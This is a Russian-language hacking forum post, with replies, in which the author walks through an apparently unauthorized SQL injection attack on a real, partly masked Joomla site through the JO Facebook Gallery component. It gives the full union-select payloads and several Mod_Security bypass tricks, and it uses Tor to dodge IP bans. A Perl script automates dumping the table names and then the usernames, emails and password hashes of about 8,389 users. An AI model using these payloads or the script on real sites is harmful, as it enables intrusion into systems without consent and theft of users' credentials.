Статья Joomla не много WAF (разное) SQL Injection

Салют Граждане Товарищи!

Граждане с опытом в области "Web-Pentesting" здесь ничего нового или (даже возможно) полезного не увидят (если только почётать), а вот "Новичкам" можно тормознуть и немного заострить своё внимание (возможно напрячься и дочитать до крайнего символа).


Тема теста\кодинга здорово отвлекает от реального мира, отвлекает\расслабляет и успокаивает, ну и вообще порой просто в прикол...
Поэтому время от времени (бывает с разрывом в два-три года) наступает период обострённого желания ковырнуть какой-нибудь сайтик, или хакнуть чью нибудь вафлю и поиграться с хозяином\пользователем этой точки.
Вот и сейчас как раз наступил такой период, появилось не много свободного времени и мене понадобилось потыкать какой-нибудь очередной сайтик, честно - цели как таковой нет, вот просто от делать нечего, вот просто так.
Выбор пал (пальцем в небо тыкнув) на забугорный (хз чё за ...) "сайт" на распространённом движке Joomla!
Админ натыкавший целую кучу всяких дополнений\модулей, мягко говоря дал борща...
Joomscan был несказанно счастлив при виде своей цели и вывел целую уйму информации:

Код:
Jooma! Based Firewall Detection Result
======================================
  
[!] A Joomla! RS-Firewall (com_rsfirewall/com_firewall) is detected.
[!] The vulnerability probing may be logged and protected.
  
[!] A Joomla! J-Firewall (com_jfw) is detected.
[!] The vulnerability probing may be logged and protected.
  
[!] A SecureLive Joomla!(mod_securelive/com_securelive) firewall is detected.
[!] The vulnerability probing may be logged and protected.
  
[!] A SecureLive Joomla! firewall is detected.
[!] The vulnerability probing may be logged and protected.
    
[!] FWScript(from firewallscript.com) is likely to be used.
[!] The vulnerability probing may be logged and protected.
    
[!] A Joomla! security scanner (com_joomscan/com_joomlascan) is detected.
[!] It is likely that webmaster routinely checks insecurities.
    
[!] A security scanner (com_securityscanner/com_securityscan) is detected.
  
[!] A Joomla! jSecure Authentication is detected.
[!] You need additional secret key to access /administrator directory
[!] Default is jSecure like /administrator/?jSecure ;)
  
[!] A Joomla! GuardXT Security Component is detected.
[!] It is likely that webmaster routinely checks for insecurities.
  
[!] A Joomla! JoomSuite Defender is detected.
[!] The vulnerability probing may be logged and protected.
    
[!] .htaccess shipped with Joomla! is being deployed for SEO purpose
[!] It contains some defensive mod_rewrite rules
[!] Payloads that contain strings (mosConfig,base64_encode,<script>
    GLOBALS,_REQUEST) wil be responsed with 403.
О да чел, при таком количестве всякого барахла тебя точно ни кто ни хакнет, чел ты в полной безопасности!
Наверное подумал чувак натыкавший модулей, прям до самой попы...

Сам же обратился к , который по запросу Joomla ( ) как обычно вывел целую кучу различных направлений, выбор пал на Joomla! Component JO Facebook Gallery v4.5 - SQL Injection

Всё просто ни сказано просто!
(Надеюсь администрация будет не против ссылки такого вида, если же нет, то можно будет удалить, плодить её не буду.)
Код:
http://www.k***c**d**e**s**i.com/k**2*5/index.php?option=com_jofacebookgallery&view=category&id=1&Itemid=792

Уязвим параметр "id", от сюда и будем плясать...

Банальная кавычка '
Код:
index.php?option=com_jofacebookgallery&view=category&id=1'&Itemid=792

И Joomla отвечает

Код:
1064
SORRY!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 SQL=SELECT * FROM #__jofbpt_category WHERE id=1'
......

Ещё робот на картинке так гармонично смотрится под музон в наушниках, и прям песенка какая-то (тыц-тыц-туц-туц-тыц....)
Дабы не много сократить тыканий, попробуем group by для того что бы узнать количество колонок:
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+50+--+
&Itemid=792

Отвечает:

Код:
Unknown column '50' in 'group statement' SQL=SELECT * FROM #__jofbpt_category WHERE id=1 group by 50 --

Тыкаем явно меньшее количество дабы убедится что количество колонок не больше

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+2+--+
&Itemid=792
Отвечает
Код:
Access denied. Your IP address is blacklisted. If you feel this is in error please contact your hosting provider's abuse department.

Ну разумеется, создав ни большую цепочку с замыкающим tor для конекта ( всё таки не мультики смотрю, и не новости читаю, в наше то время нужно использовать хоть какие-нибудь средства контрацепции...) меня банит один из установленных модулей.
Перезапуск tor, даёт конект и в ответ видим
Код:
Unknown column '2' in 'group statement' SQL=SELECT COUNT(*) FROM #__jofbpt_albums WHERE fb_album_id LIKE '421616681303' AND category_id=1 group by 2 -- LIMIT 1

SELECT COUNT(*) FROM явно указывает что колонок больше, значить двигаемся в сторону увеличения...

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+20+--+
&Itemid=792

ответ
Код:
Unknown column '20' in 'group statement' SQL=SELECT COUNT(*) FROM #__jofbpt_albums WHERE fb_album_id LIKE '421616681303' AND category_id=1 group by 20 -- LIMIT 1

мало

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+30+--+
&Itemid=792

Ответ

Код:
Unknown column '30' in 'group statement' SQL=SELECT * FROM #__jofbpt_category WHERE id=1 group by 30 --

много

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+25+--+
&Itemid=792

Много

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+23+--+
&Itemid=792

Много

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+22+--+
&Itemid=792

Мало, но 23 много, значить колонок всё таки 22.
Прикручиваем union select
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792

В ответ видим печалькуЖ

Код:
Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

Q: W.T.F. bro?
A: This is WAF!

Очередной модуль нас просто радует, будет чуток интересней чем казалось...
Посмотрим что именно фильтрует Mod_Security, воткнём просто UNION

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+--+
&Itemid=792

Ответ

Код:
1064
SORRY!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 SQL=SELECT * FROM #__jofbpt_category WHERE id=1 UNION --

Добавим select

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+select--+
&Itemid=792

Ответ

Код:
Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

Ага, значить блокирует конструкцию union select, попробуем воткнуть комментарий

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union/**/select--+
&Itemid=792

Ответ

Код:
Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

Не прокатило!))
Пробуем добавить какую нибудь опцию, дабы разрушить блокируемую конструкцию (all\distinct\distinctrow), подстановка опции "distinct" даёт результат:

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+distinct+select--+
&Itemid=792

Код:
1064
SORRY!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 SQL=SELECT * FROM #__jofbpt_category WHERE id=1 UNION distinct select --

Огонь товарищи, втыкаем количество колонок:

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+distinct+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792
И вот он
Код:
Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.
Он - "временный облом"!

Если память не подводит, где то на "ачате", как то читал пост про WAF, там приводились довольно простые методы обхода, так как зачастую тема с комментарием (/**/,/*!exp*/) обламывается, как раз методы описанные в том посте мне запомнились и довольно часто мною практиковались.
Сделаем подстановку "\N", в PHP\Perl\Python\MYSQL\.... это начало новой строки.


Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792


Опа, опачки мы видим страничку, страничку ресурса и на ней те самые циферки

link removed


2,4 - будут выводить нам результаты наших запросов.

Ну что давайте посмотрим версию нашей муськи, хотя бы так для приличия, а вообще для того что бы хотя бы знать как с ней общаться.

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792

5.5.51-38.2 - Это наш друг, ибо с ним можно договориться!)

Попробуем использовать information_schema, для начала спросим сколько БД имеется (начиная с 5 ветки муськи ( если память не подводит) БД с именем information_schema присутствует по умолчанию, она тоже содержит в себе информацию, но не ту которая нам интересна...).

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema.schemata+--+
&Itemid=792

Код:
Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

О да, этот мод прям любимчик и с каждым разом нас всё больше и больше радует!
Скорей всего есть фильтрация information_schema, проверим...

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792

count(schema_name) - пропускает, добавим from

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+--+
&Itemid=792

Не ругается, добавляем information_schema

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema+--+
&Itemid=792

Код:
Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

Да фильтрация information_schema, стоит попробовать исполняемый комментарий, то есть /*!exp*/

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+/*!information_schema.schemata*/+--+
&Itemid=792

Опачки, циферки...


link removed

Вообще бывают случаи когда исполняемый комментарий не срабатывает, хз по каким..., но такое имеет месту быть, как раз в таких случаях может помочь функция timestamp, она определяет тип строки, в нашем же случае она просто может помочь обломить фильтр.

Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.schemata }+--+
&Itemid=792

Так же бываются случаи что и timestamp не спасает и в случае конкретно с information_schema.***** можно попробовать 'e'., то есть сломать фильтруемую конструкцию information_schema.schemata = information_schema 10.e.schemata, к примеру вот такой запрос:

Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema 111.e.schemata}+--+&Itemid=792

Так же выполнится без ошибок, плюс обойдёт большее количество WAF.

И так 2 БД имеется, значить одна information_schema по умолчанию, и вторая та в которой содержится вся информация которая будет полезной для нас...
Для вывода имени БД необходимо убрать команду count, а для того что бы вывести по порядку все строки будем использовать limit.


Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema 111.e.schemata}+limit+1,1--+&Itemid=792

Такой запрос выводит нам имя нужной базы данных k***c**d**e**s**ic_jmln1, вот теперь можно выводить имена таблиц (вообже это Joomla и все данные для авторизации храняться в таблице ***_users, *** - это префикс который устанавливается админом при установки движка, и как раз этот префикс нам и нужен, но в принципе лучше иметь полный список таблиц, вдруг будет ещё что то интересное...):

Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.tables}+where+table_schema=0x64625f6e616d65+limit+0,1--+&Itemid=792

Вывод имени самой первой таблицы!
table_name - просим вывести имя таблицы используя доступ через information_schema
where table_schema=0x64625f6e616d65 - указываем что имя таблицы должно выводится из ДБ по имени 0x64625f6e616d65 ( 64625f6e616d65 - это имя БД зашифрованное в шестнацетиричный код, 0x - это указатель на шестнацетиричный код, он необходим для mysql для исполнения шестнацетиричного кода.), обычно указывать имя БД ни к чему, все имена и так выводятся с используемой движком БД, но внашем случае этот указатель просто необходим (Иначе выводятся имена первой БД).

Давайте узнаем сколько всего таблиц в этой БД, для этого используем count

Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,count(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.tables}+where+table_schema=0x64625f6e616d65+limit+0,1--+&Itemid=792

539 !
Ни - хихи - хило граждане, да это просто мосчь!
Просто не представляю что творилось у этого чела когда он тыкал такое количество модулей, просто жесть!
Тыкать в ручную все имена таблиц это просто не реально.
Напишем простой скрипт на том же perl, он автоматом всё переберёт для нас, тем более что пишется так скрипт за пять минут и не требует ни каких особых знаний, честно говоря я не знаю perl, но пишу для себя скриптики используя cpan или metacpan как справочник, конечно парой этого не достаточно, но в большинстве случаев этого хватает.
Приступим...

Код:
#!/usr/bin/perl
#Можно использовать модуль LWP::Simple для функции get, но можно заюзать и LWP::UserAgent
#LWP::UserAgent - позволяет указать заголовки HTTP(S) запроса, так же позволяет использовать proxy,
# как раз то что нам нужно, для полного счастья можно прикрутить модуль WWW::UserAgent::Random
#он позволит менять заголовок UserAgent в рандомном порядке.
#Подключаем модули
use WWW::UserAgent::Random;
use LWP::UserAgent;
# У кого эти модули не установлены, используем cpan, то есть в терминале cpan WWW::UserAgent::Random
#для удобства сразу нарисуем переменные в которых укажем URL для атаки, proxy который будем юзать,
#файл в который запишем результат ( ибо 539 таблиц )
#и количество таблиц.
#Тем самым в будущем можно будет использовать этот же скрипт указав необходимые данные в переменных.

my $url="http://www.k***c**d**e**s**i.com/k**2*5/index.php
?option=com_jofacebookgallery
&view=category
&id="; # это атакуемый линк, указывать нужно полностью до уязвимого параметра.
my $proxy="socks://proxy:port";# здесь указываем proxy который будем юзать, можно использовать любой в том числе носки, по мне носки лучше(Для юзанья TOR можно указать 'socks://localhost:9050').
my $file='/home/center/k_tables.txt';# Тут полный путь к файлу в котором запишем все имена таблиц
my $numb="539";# Здесь количество таблиц.

for ($xx=0;$xx<$numb;$xx++){ # Оператор for, выполняем действия до достижения указанного условия, в нашем случае пока не выведет все 539 таблиц.
$exploit='\\\\Nunion distinct select+1,concat_ws(table_name,0x43656e74303030,0x43656e74303030),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.tables}+where+table_schema=0x6b6364657369635f6a6d6c6e31+limit+'.$xx.',1+--+
&Itemid=792';# наш эксплоит которым мы выполняем запросы
#concat_ws(table_name,0x43656e74303030,0x43656e74303030) используем связующий оператор,
# для того что бы приляпать свои разделители, которые в свою очередь упростят парсинг ответа.
# concat_ws - позволяет указывать разделитель при связывании нескольких строк, в качестве этого разделителя мы будем использовать table_name
# Таким образом нам достаточно будет отсечь определённые нами указатели по бокам и получим чистый вывод имени таблицы
#0x43656e74303030 - это как раз и будут наши указатели для отсечения, это "Cent000" зашифрованный в шестнацетиричный код
# В параметре limit будем менять номера строк указав переменную $xx которая будет содержать номер строки.
my $ua = new LWP::UserAgent(agent => rand_ua("windows"));
$ua->proxy([qw(http https)] => $proxy);
my $response = $ua->get($url.$exploit);
$text=$response->decoded_content;
if ($text=~/Cent000/) {
	@sp_text=split("Cent000",$text);		
	$str=@sp_text[1]."\n";
	print $str;
}
$str_all=$str_all.$str;

}
open(my $fh, '>', $file);
print $fh $str_all;
close $fh;
print "готово\n";

Скрипт по сути сама простота, ни чего сложного в нём нет, мб что-то не правильно, мб что-то не красиво\эстетично, главное работает, в остальном....
Я его расписал только в тех местах где необходимо, в остальных случаях думаю и так всё понятно, если нет, то поможет cpan, или metacpan.
Да даже простой справочник perl расскажет всё, стоит только поинтересоваться.

Что то под устал я... ну да ладно продолжим ведь осталось совсем не много.

Вытягиваем имена колонок в указанной таблице, а именно в таблице с именем "w0zk7_users", ибо по идеи именно здесь Joomla хранит авторизационные данные пользователей.


Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.columns}+where+table_name=0x77307a6b375f7573657273+limit+0,1--+&Itemid=792

В принципе всё по стандарту, вывод стандартных колонок, по сути здесь можно не озадачиваться, колонки у Joomla стандартные:
Код:
id
name
username
email
password
usertype
block
sendEmail
registerDate
lastvisitDate
activation
params
lastResetTime
resetCount

Заляпаем самые интересные для нас name,username,email,password, в один запрос и будем уже выводить строки содержащие логины и пароли....


Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,concat_ws(0x3a,name,username,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+w0zk7_users+limit+0,1--+

Опачки и вот они данные админа, посмотрим же сколько всего здесь юзверей

Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,count(concat_ws(0x3a,name,username,email,password)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+w0zk7_users+limit+0,1--+


8389 - ну конечно ни айс, но в ручную просто замучаешься, воспользуемся тем же самым скриптом и выдернем всё!
В скрипте необходимо только изменить наш запрос:

Код:
$exploit='\Nunion distinct select+1,concat_ws(concat_ws(0x3a,id,name,username,email,password),0x43656e74303030,0x43656e74303030),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+w0zk7_users+limit+'.$xx.',1+--+
&Itemid=792';

И вуаля все строки вытягиваются автоматом, остаётся только не много подождать, можно успеть сварить кофейку, выпить чашку, ещё одну и вот оно, оно очучение того что мы тоже что то можем...


P.S. Ребятки что то намутили с JavaScript на форуме и полноценного редактора я не увидел, все BB коды писал попамяти, хз мб где то проявится кривизна.
 

Вложения

  • 08_55.png
    08_55.png
    624 байт · Просмотры: 429
Последнее редактирование:
Граждане с опытом в области "Web-Pentesting" здесь ничего нового или (даже возможно) полезного не увидят (если только почётать), а вот "Новичкам" можно тормознуть и немного заострить своё внимание (возможно напрячься и дочитать до крайнего символа).
Ну вот статья прямо вот точно для новичков. Прям вот всё разжёвано и по полочкам разложено, осталось только проглотить и переварить. Спасибо!
 
Красавчик. Расписал все от А до Я. Думаю у новичков теперь вопросов не должно возникать.
Продолжай в том же духе.) ;):)
 
не хочу создавать новые темы, просто ответьте мне пожалуйста, очень сильно заинтересовало " тестирование и проникновение web приложений", какие языки программирования нужно знать и до какого уровня нужно знать(базово,углублённо), хочу освоить owasp top 10. Мне нужен лёгкий путь и побыстрее:DD, меня просто в армию скоро забирают, месяца 2-3 в моём распоряжении. Знаю html :)))
 
думаю php,mysql,html/css и т.д (джаваскрипт можно добавить), а в чём ещё? ))

ну вот с этого и стоит начинать. нет уникального языка, нет экспресс курсов -все зависит от возможностей обучаемого. За 2-3 месяца сможете поверхностно что то схватить, лучше внимание перебросить на что то одно, возьмем к примеру Java, так как Java+html основы.
 
Java выполняется на стороне клиента, в принципе так же как и html, последний можно сказать не язык, а всего лишь разметка для правильного отображения.Относительно Java, а в данном случае будет более уместное использование JavaScript, так он поможет при эксплуатирование так называемых XSS, которые будут выполняться на стороне клиента, возможно поможет при поиске уязвимого php скрипта к которому будут передоваться какие либо данные через js, но это ничтожная часть из всего того что используется для поиска и эксплатирование каких либо уязвимостей.
Прежде всего необходимы ( хотя бы поверхностные ) познания\знания SQL(Mysql\MSSql\Oracle\postr....), необходимо понимать что это такое, где и как его намазать и употребить.Так же необходимы базовые познания PHP, остальные языки будут в помощь эксплуатации и поиска уязвимостей.
Тут как с фотограями, чем больше пикселей ( в нашем случае знаний) тем четче и ярче картинка!
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!